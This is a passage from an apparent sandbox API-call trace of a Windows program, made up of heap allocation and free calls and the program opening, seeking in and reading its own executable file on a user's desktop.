Ptr=0x317d7f0, Size=0x2b56) returned 0x317d7f0 [0075.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3036140 | out: hHeap=0x2ad0000) returned 1 [0075.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x51f) returned 0x30fcdd8 [0075.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8208 [0075.053] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8208, Size=0x20) returned 0x30283f0 [0075.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x209) returned 0x30fd300 [0075.053] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x40) returned 0x2a18f80 [0075.053] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18f80, Size=0x64) returned 0x2a19ab8 [0075.053] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19ab8, Size=0x8c) returned 0x2ac0a40 [0075.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23a) returned 0x2a90e00 [0075.053] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0a40, Size=0xb8) returned 0x3028e08 [0075.053] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028e08, Size=0xe8) returned 0x2ac8f90 [0075.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a2) returned 0x30fd518 [0075.054] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac8f90, Size=0x120) returned 0x2c374c0 [0075.054] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x2cb6038 [0075.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb6038 | out: hHeap=0x2ad0000) returned 1 [0075.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317d7f0 | out: hHeap=0x2ad0000) returned 1 [0075.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9110 [0075.054] GetCurrentThreadId () returned 0x9b0 [0075.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.054] GetCurrentThreadId () returned 0x9b0 [0075.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af60 [0075.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9d50 [0075.054] GetCurrentThreadId () returned 0x9b0 [0075.054] GetCurrentThreadId () returned 0x9b0 [0075.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.054] GetCurrentThreadId () returned 0x9b0 [0075.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2c28a70 [0075.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3031758 | out: hHeap=0x2ad0000) returned 1 [0075.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca82c8 [0075.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2010) returned 0x3036140 [0075.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x398) returned 0x3026eb0 [0075.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x30283c8 [0075.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4660) returned 0x317d7f0 [0075.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317d7f0 | out: hHeap=0x2ad0000) returned 1 [0075.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30283c8 | out: hHeap=0x2ad0000) returned 1 [0075.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026eb0 | out: hHeap=0x2ad0000) returned 1 [0075.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83e8 [0075.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a200d8 [0075.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca8250 [0075.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8250 | out: hHeap=0x2ad0000) returned 1 [0075.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca84a8 [0075.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca84a8 | out: hHeap=0x2ad0000) returned 1 [0075.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82f8 [0075.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xe) returned 0x2ca8280 [0075.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38) returned 0x2a8ab68 [0075.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38) returned 0x2a8a3e8 [0075.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0075.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8280 | out: hHeap=0x2ad0000) returned 1 [0075.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0075.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca82f8 | out: hHeap=0x2ad0000) returned 1 [0075.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca8268 [0075.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2010) returned 0x3038158 [0075.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x398) returned 0x3026eb0 [0075.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3b) returned 0x2a192e0 [0075.056] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a192e0, Size=0x3a) returned 0x2a18c20 [0075.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4660) returned 0x317d7f0 [0075.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317d7f0 | out: hHeap=0x2ad0000) returned 1 [0075.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18c20 | out: hHeap=0x2ad0000) returned 1 [0075.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026eb0 | out: hHeap=0x2ad0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8340 [0075.056] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8340, Size=0x20) returned 0x30283f0 [0075.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a20138 [0075.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83b8 [0075.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca81f0 [0075.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8280 [0075.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca83b8 | out: hHeap=0x2ad0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca8388 [0075.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8388 | out: hHeap=0x2ad0000) returned 1 [0075.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca8418 [0075.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8418 | out: hHeap=0x2ad0000) returned 1 [0075.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8478 [0075.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca84a8 [0075.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8208 [0075.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40) returned 0x2a18d40 [0075.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40) returned 0x2a18f38 [0075.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18d40 | out: hHeap=0x2ad0000) returned 1 [0075.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8208 | out: hHeap=0x2ad0000) returned 1 [0075.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18f38 | out: hHeap=0x2ad0000) returned 1 [0075.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca84a8 | out: hHeap=0x2ad0000) returned 1 [0075.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8478 | out: hHeap=0x2ad0000) returned 1 [0075.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71580 [0075.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8400 [0075.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40) returned 0x2a19298 [0075.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40) returned 0x2a18c20 [0075.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19298 | out: hHeap=0x2ad0000) returned 1 [0075.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8400 | out: hHeap=0x2ad0000) returned 1 [0075.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18c20 | out: hHeap=0x2ad0000) returned 1 [0075.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0075.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca81f0 | out: hHeap=0x2ad0000) returned 1 [0075.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8280 | out: hHeap=0x2ad0000) returned 1 [0075.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0075.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x2ad0000) returned 1 [0075.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30283f0 | out: hHeap=0x2ad0000) returned 1 [0075.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8268 | out: hHeap=0x2ad0000) returned 1 [0075.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3036140 | out: hHeap=0x2ad0000) returned 1 [0075.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca83e8 | out: hHeap=0x2ad0000) returned 1 [0075.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca82c8 | out: hHeap=0x2ad0000) returned 1 [0075.058] GetCurrentThreadId () returned 0x9b0 [0075.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.058] GetCurrentThreadId () returned 0x9b0 [0075.059] GetCurrentThreadId () returned 0x9b0 [0075.059] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd80, Size=0x20) returned 0x3028288 [0075.059] GetCurrentThreadId () returned 0x9b0 [0075.059] GetCurrentThreadId () returned 0x9b0 [0075.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3034ed8 | out: hHeap=0x2ad0000) returned 1 [0075.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026050 | out: hHeap=0x2ad0000) returned 1 [0075.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb6ec0 | out: hHeap=0x2ad0000) returned 1 [0075.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026bc8 | out: hHeap=0x2ad0000) returned 1 [0075.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac3fc0 | out: hHeap=0x2ad0000) returned 1 [0075.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.059] GetCurrentThreadId () returned 0x9b0 [0075.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6000) returned 0x3034ed8 [0075.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab3758 | out: hHeap=0x2ad0000) returned 1 [0075.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.059] GetCurrentThreadId () returned 0x9b0 [0075.059] GetCurrentThreadId () returned 0x9b0 [0075.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.060] GetCurrentThreadId () returned 0x9b0 [0075.060] GetCurrentThreadId () returned 0x9b0 [0075.060] GetCurrentThreadId () returned 0x9b0 [0075.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.060] GetCurrentThreadId () returned 0x9b0 [0075.060] GetCurrentThreadId () returned 0x9b0 [0075.060] GetCurrentThreadId () returned 0x9b0 [0075.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82f8 [0075.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca82f8 | out: hHeap=0x2ad0000) returned 1 [0075.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.060] GetCurrentThreadId () returned 0x9b0 [0075.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0075.060] GetCurrentThreadId () returned 0x9b0 [0075.060] GetCurrentThreadId () returned 0x9b0 [0075.060] GetCurrentThreadId () returned 0x9b0 [0075.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.060] GetCurrentThreadId () returned 0x9b0 [0075.061] GetCurrentThreadId () returned 0x9b0 [0075.061] GetCurrentThreadId () returned 0x9b0 [0075.061] GetCurrentThreadId () returned 0x9b0 [0075.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0075.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.061] GetCurrentThreadId () returned 0x9b0 [0075.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.061] GetCurrentThreadId () returned 0x9b0 [0075.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.061] GetCurrentThreadId () returned 0x9b0 [0075.061] GetCurrentThreadId () returned 0x9b0 [0075.061] GetCurrentThreadId () returned 0x9b0 [0075.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.061] GetCurrentThreadId () returned 0x9b0 [0075.061] GetCurrentThreadId () returned 0x9b0 [0075.061] GetCurrentThreadId () returned 0x9b0 [0075.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.061] GetCurrentThreadId () returned 0x9b0 [0075.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.062] GetCurrentThreadId () returned 0x9b0 [0075.062] GetCurrentThreadId () returned 0x9b0 [0075.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.062] GetCurrentThreadId () returned 0x9b0 [0075.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fa370 [0075.062] GetCurrentThreadId () returned 0x9b0 [0075.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.062] GetCurrentThreadId () returned 0x9b0 [0075.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.062] GetCurrentThreadId () returned 0x9b0 [0075.062] GetCurrentThreadId () returned 0x9b0 [0075.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.062] GetCurrentThreadId () returned 0x9b0 [0075.062] GetCurrentThreadId () returned 0x9b0 [0075.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.062] GetCurrentThreadId () returned 0x9b0 [0075.062] GetCurrentThreadId () returned 0x9b0 [0075.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.063] GetCurrentThreadId () returned 0x9b0 [0075.063] GetCurrentThreadId () returned 0x9b0 [0075.063] GetCurrentThreadId () returned 0x9b0 [0075.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.063] GetCurrentThreadId () returned 0x9b0 [0075.063] GetCurrentThreadId () returned 0x9b0 [0075.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0075.063] GetCurrentThreadId () returned 0x9b0 [0075.063] GetCurrentThreadId () returned 0x9b0 [0075.063] GetCurrentThreadId () returned 0x9b0 [0075.063] GetCurrentThreadId () returned 0x9b0 [0075.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0075.063] GetCurrentThreadId () returned 0x9b0 [0075.063] GetCurrentThreadId () returned 0x9b0 [0075.063] GetLastError () returned 0x0 [0075.063] GetLastError () returned 0x0 [0075.063] GetLastError () returned 0x0 [0075.063] GetLastError () returned 0x0 [0075.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca83e8 | out: hHeap=0x2ad0000) returned 1 [0075.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b000 [0075.064] GetLastError () returned 0x0 [0075.064] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.064] GetFileType (hFile=0x2d8) returned 0x1 [0075.064] GetLastError () returned 0x0 [0075.064] GetCurrentThreadId () returned 0x9b0 [0075.064] GetLastError () returned 0x0 [0075.064] GetFileType (hFile=0x2d8) returned 0x1 [0075.064] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0075.064] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.064] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.064] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.064] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.064] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.064] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.064] GetLastError () returned 0x0 [0075.064] GetCurrentThreadId () returned 0x9b0 [0075.064] GetLastError () returned 0x0 [0075.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0075.065] GetLastError () returned 0x0 [0075.065] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=6790791, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x679e87 [0075.065] GetLastError () returned 0x0 [0075.065] GetCurrentThreadId () returned 0x9b0 [0075.065] GetLastError () returned 0x0 [0075.065] GetCurrentThreadId () returned 0x9b0 [0075.065] GetLastError () returned 0x0 [0075.065] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=7859742, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x77ee1e [0075.065] GetLastError () returned 0x0 [0075.065] GetCurrentThreadId () returned 0x9b0 [0075.065] GetLastError () returned 0x0 [0075.065] GetCurrentThreadId () returned 0x9b0 [0075.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x322) returned 0x2bac648 [0075.065] GetLastError () returned 0x0 [0075.065] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc34d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2cc34d0*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0075.065] GetLastError () returned 0x0 [0075.065] GetCurrentThreadId () returned 0x9b0 [0075.065] GetLastError () returned 0x0 [0075.066] GetCurrentThreadId () returned 0x9b0 [0075.066] GetCurrentThreadId () returned 0x9b0 [0075.066] GetLastError () returned 0x0 [0075.066] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x77fe1e [0075.066] GetLastError () returned 0x0 [0075.066] GetCurrentThreadId () returned 0x9b0 [0075.066] GetLastError () returned 0x0 [0075.066] GetLastError () returned 0x0 [0075.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc34d0 | out: hHeap=0x2ad0000) returned 1 [0075.066] CloseHandle (hObject=0x2d8) returned 1 [0075.066] GetLastError () returned 0x0 [0075.066] GetCurrentThreadId () returned 0x9b0 [0075.066] GetLastError () returned 0x0 [0075.066] GetLastError () returned 0x0 [0075.066] GetCurrentThreadId () returned 0x9b0 [0075.066] GetLastError () returned 0x0 [0075.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317d7f0 | out: hHeap=0x2ad0000) returned 1 [0075.066] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x317f3c8, Size=0x5ac) returned 0x317f3c8 [0075.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bac648 | out: hHeap=0x2ad0000) returned 1 [0075.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8460 [0075.067] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8460, Size=0x20) returned 0x30281c0 [0075.067] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30281c0, Size=0x40) returned 0x2a18e60 [0075.067] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e60, Size=0x64) returned 0x2a19a48 